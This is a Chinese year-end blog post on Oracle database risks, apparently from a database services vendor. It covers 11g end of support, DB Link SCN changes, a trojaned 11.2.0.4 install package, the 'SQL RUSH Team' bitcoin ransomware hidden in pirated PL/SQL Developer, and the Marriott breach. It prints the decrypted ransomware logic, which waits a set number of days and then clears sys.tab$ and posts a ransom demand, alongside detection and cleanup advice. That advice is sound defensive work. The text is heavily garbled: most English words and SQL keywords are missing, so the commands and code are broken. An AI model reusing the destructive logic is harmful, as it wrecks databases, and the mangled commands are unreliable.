2018即將離我們遠去,回顧一下這一年中關于數據庫方面未了之事,值得在年終歲末再檢查一次、考慮一下的技術點,列在這里,給大家參考:
11g將于2019年1月結束支持
DB Link的升級預警
數據庫安裝包注入的可能隱患
比特幣勒索事件的死灰復燃
數據訪問安全的審計和巡檢
跨年分區和定時任務的檢查
希望這些問題和警示,能夠幫助大家開啟美好的新一年!
11g將于2019年進入擴展服務支持期
擴展服務支持簡單來說就是必須要額外付費才能獲得支持,原本2015年開始 11g就進入了擴展服務支持期,豁免了服務費,但是自2019年1月1日起,正是進入需要額外付費的擴展支持期了。
如下圖所示,第一行最后深紅色部分,就是需要付費的擴展服務階段,必須要和簽訂擴展服務支持合同才能夠繼續獲得11g的后續支持。考慮到中國企業購買ES支持的比例,我們可以認為11g的官方支持基本結束了。
所以是時候考慮升級到 12c 的終極版本 19c 了,在2019年第一季度,這個版本就將發布。
DB Link 的 2019 限時升級警告
在2018年2月15日, 官方支持站點 MOS 上,發布了兩篇告警文章,引發了用戶的廣泛關注oracle數據庫介質恢復,這兩篇文章的目的是提醒用戶防范 SCN 算法變更帶來的DB Link 訪問問題。時間越來越近,建議所有用戶正視這個問題。
這兩篇文章分別是:
Need to be to a /PSU/RU April 2019(Doc ID .1)
for 11.2.0.3 or ,Using DB Links(Doc ID .1)
后來這兩篇文章修改為,『必須』修改為『推薦』,『4月』修改為『6月』:
and for 12.1.0.1, 11.2.0.3 and – June 2019(Doc ID .1)
and for 12.1.0.1, 11.2.0.3 and - June 2019(Doc ID .1)
這個問題和 DB Link 以及 SCN 相關,為了解決SCN的躍遷問題, 引入了 SCN 兼容性參數設置,修改數據庫 SCN 算法的命令是:
ALTER SET SCN .
兼容性特性有4個選項,可以修改為:1、2、3 。
SQL> ALTER SET SCN 2;
.
SQL> ALTER SET SCN 3;
.
SCN 算法向小值修改時,數據庫需要重新啟動:
數據庫缺省的SCN兼容性將于2019年6月23日直接跳級到兼容性 3 。數據庫將會有更大的SCN空間和增長率,所以低版本的數據庫推薦升級,否則和高版本的數據庫連接時則可能出現問題。
現在進入半年倒計時,我們建議所有用戶審視和考慮這一問題,關于這個主題,我們發表過一系列的文章,供用戶參考:
11.2.0.4 安裝包的注入攻擊
今年,很多用戶遭遇了 ORA-600 16703 錯誤,數據庫無法啟動,這個問題是因為用戶安裝使用的數據庫介質被注入。建議所有用戶徹查,是否存在注入安全隱患。
強烈警示:在下載安裝介質時,一定要從可靠來源下載, 官網是最佳途徑。當從未知來源獲得安裝軟件時,你就可能面臨著注入風險。這一次的客戶就是遭遇到了這個問題的威脅。
在這個案例中,被注入的文件是:
$/rdbms/admin/.plb
這個程序包文件最后被注入了一個觸發器,這個啟動觸發器,當數據庫啟動之后被觸發執行:
這個觸發器執行的是前面的加密代碼,存儲過程,這個存儲過程解密后的代碼如下,其代碼邏輯就是,判斷數據庫的創建時間大于 300 天,然后創建一個備份表,備份 tab$ 內容之后,清空 TAB$ 表。
此后,數據庫當然就無法啟動了:
ORP IS
DATE1 INT :=10;
BEGIN
(- ) INTO DATE1 FROM V$;
IF (DATE1>=300) THEN
' table '||(,10)||' as * from sys.tab$';
SYS.TAB$;
;
'alter ';
END IF;
END;
所以我們再次提示大家:由于這個攻擊,具有潛伏性,如果你是從網絡下載了安裝包,尤其是 11.2.0.4 版本,建議用戶檢查你的數據庫,確保安全。
通常遇到的錯誤是這樣的:
SQL> alter open;
alter open
*
ERROR at line 1:
ORA-01092: .
ORA-00704:
ORA-00704:
ORA-00600: error code, : [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
ID: 1236
ID: 1 : 5
詳情參考:
PL/SQL 注入的比特幣勒索
在2016年11月,國內很多用戶的數據庫遭遇到了比特幣勒索攻擊,這一事件在2018年11月再度泛濫重來,很多用戶再次遭受到了數據安全威脅。建議用戶徹查,確保未被潛伏攻擊。
這個問題的癥狀是:
很多用戶在錄數據庫時發現該問題,數據庫應用彈出"鎖死"提示,并且威脅說需要向黑客發送5個比特幣方可獲得解鎖。
在客戶端,你可能獲得類似的提示信息:
在數據庫受攻擊之后,在數據庫的告警日志中,可能充斥如下信息:
ORA-00604: error at SQL level 1
ORA-20315: 你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 (大小寫一致) 之后把你的 SID郵寄地址 我們將讓你知道如何解鎖你的數據庫
Hi buddy, your was by SQL RUSH Team, send 5 to (case ), after that send your SID to mail , we will let you know how to your .
ORA-06512: at “XXX. ", line 27
ORA-06512: at line 2
這個問題原因是,如果用戶從互聯網上下載了盜版的 PL/SQL 工具后(尤其是各種綠色版、破解版),就可能因為這個工具中招。所以這個問題和 本身關系不大,也沒有注入那么復雜。而是隨著你使用這個工具,用戶的權限就自然被附體的進行了入侵。
PL/SQL 在中國的流行程度和盜版程度毋庸置疑。這個軟件的安裝目錄存在一個腳本文件 .sql,這個腳本就是真正的問題所在。
正版軟件安裝,這個腳本文件是空文件,但是被注入的文件包含了一系列的JOB定義、存儲過程和觸發器定義,就是禍患的源頭。
受感染文件 - .sql 開頭是這樣的,偽裝成一個 login.sql 的腳本內容,有清晰的注釋代碼:
實質內容,以加密方式展示,用戶看不到內容,但是可以通過 進行解密(但是注意那些解密程序不要存在惡意代碼):
無疑,黑客是非常了解 數據庫的,其腳本代碼的核心部分:
BEGIN
NVL((- ),0) INTO DATE1 FROM V$;
IF (DATE1>=1200) THEN
' table '||(,10)||' as * from sys.tab$';
SYS.TAB$ WHERE # IN ( # FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
;
'alter ';
SYS..(14);
FOR I IN 1..2046 LOOP
.(2, 'Hi buddy, your was by SQL RUSH Team, send 5 to (case ), after that send your SID to mail , we will let you know how to your .');
.(2, '你的數據庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 (大小寫一致) 之后把你的 SID郵寄地址 我們將讓你知道如何解鎖你的數據庫 ');
END LOOP;
END IF;
END;
請注意黑客的專業性,在程序的開端有以下部分判斷:
NVL((- ),0) INTO DATE1 FROM V$;
IF (DATE1>=1200) THEN
也就是,判斷數據庫創建時間大于1200天,才開始動作(這個判斷相當有見地,小庫和新庫,數據少不重要,先放長線釣大魚),如果你的數據庫還沒有爆發,那可能是因為時間還沒有到。
我想2018年爆發的這部分系統,可能就是植根問題于幾年前。
處置建議:
這個攻擊是通過 JOB、觸發器、存儲過程 來協同工具的,所以如果數據庫遭遇到這個問題,可以將 JOB 參數 設置為 0 ,屏蔽掉 JOB 的執行,然后重啟數據庫。可以清除注入對象,這些對象可能包括以下同名觸發器和存儲過程:
" "
" "
"L "
而攻擊的核心代碼還包括,這會 數據表:
STAT:=' table '||USER||'.'||I.;
云和恩墨的自動化巡檢工具:(白求恩),早已內置一項檢查,訪問來源、訪問工具分析,可以幫助用戶梳理清楚你的數據庫使用情況。
別猶豫,去 看看,不收錢。
詳情參考:
數據泄露的訪問安全警示
2018年是數據庫安全事故頻發的一年,當然我們預計這樣的事故在云模式不斷普及的未來,不但不會減少,而是會愈演愈烈。建議關注訪問安全,排除未授權訪問來源。
2018年11月30日,全球酒店行業巨頭萬豪國際酒店集團()公布,旗下酒店集團喜達屋()的賓客預訂數據庫被第三方入侵,全球近5億客戶數據受到影響。
萬豪集團于9月8日收到一條內部安全工具發出的關于第三方試圖訪問喜達屋賓客預定數據庫的警報,隨后迅速展開調查。在調查過程中發現,自2014年起,就存在第三方對喜達屋網絡未經授權的訪問。萬豪國際近期發現未經授權的第三方已復制并加密了某些信息,并采取措施試圖將該等信息移出。直到今年11月19日,萬豪集團確定信息的內容來自喜達屋賓客預訂數據庫。
該數據庫中約有5億名客戶(2018年9月10日或之前曾在喜達屋酒店預訂)的信息或被泄露,而這5億名客戶人中約有3.27億人的信息包括如下內容:姓名、郵寄地址、電話號碼、電子郵件地址、護照號碼、SPG 俱樂部賬戶信息、出生日期、性別、到達與離開信息、預定日期和通信偏好。部分客戶可能被泄露的信息還包括支付卡號碼和支付卡有效期,雖然這些數據已加密,但萬豪集團無法排除該第三方是否已經掌握解碼密鑰。
據美聯社報道,萬豪集團目前在全球110多個國家擁有超過5800處酒店和110萬間客房。受影響的喜達屋旗下品牌包括:W酒店(W )、瑞吉酒店(St. Regis)、喜來登酒店及度假村( & )、威斯汀酒店及度假村( & )、源宿酒店( )、雅樂軒酒店(Aloft )、豪華精選酒店(The )、臻品之選酒店( )、艾美酒店與度假村(Le Mé & )、福朋喜來登酒店(Four by )及設計酒店( )。
根據以上的描述,我們注意到客戶描述的情況是,數據庫長期以來存在未授權的訪問,導致信息被竊取、泄露。那么企業應當如何來防范這類問題呢?
以數據庫為例,我們認為,以下兩種措施是必要的:
數據庫安全審計,通過審計來查證對于數據的訪問情況oracle數據庫介質恢復,包括來源、范圍等;
數據訪問來源審計,通過對于訪問數據庫的外部地址審核,確保訪問來源可靠、訪問應用可靠;
有了這兩種手段,企業就能夠及時的發現異常,做出分析,予以防范。對于前者, 有審計功能,云和恩墨的產品云鏡也是基于數據庫審計做出的增強,不詳述。但是對于后者,通常能夠通過數據庫的日常巡檢和監控,發現未授權訪問,數據庫建立連接的監聽日志就記錄了這樣的重要信息。
在云和恩墨免費的白求恩智能巡檢平臺上,就可以自動幫助用戶分析展示對于數據庫的訪問來源,及時發現未授權的訪問來源:
此外, 還會檢查訪問數據庫的應用,及時提示那些來自于陌生ip地址的應用程序,并檢查相應的風險,比如比特幣的注入攻擊:
云和恩墨的 SaaS 產品是完全免費的,具體可以參考:
及時的了解數據庫的訪問情況,是提升安全的必要方向之一。
檢查跨年分區
最后,每年跨年的時候,我們都會提醒大家,檢查跨年的數據庫表分區是否已經創建,當然,如果你使用了的間隔分區,這一切就變成了自動化的工作。
除了分區,還要關注你的統計信息收集任務,如果你設定的是手工收集,那么跨年時要注意定時任務是否能夠及時執行。
關于這些跨年的事件,應該一一篩查。
祝大家平安度過2018最后一個保障日,勝利完成運維人的跨年大業!
資源下載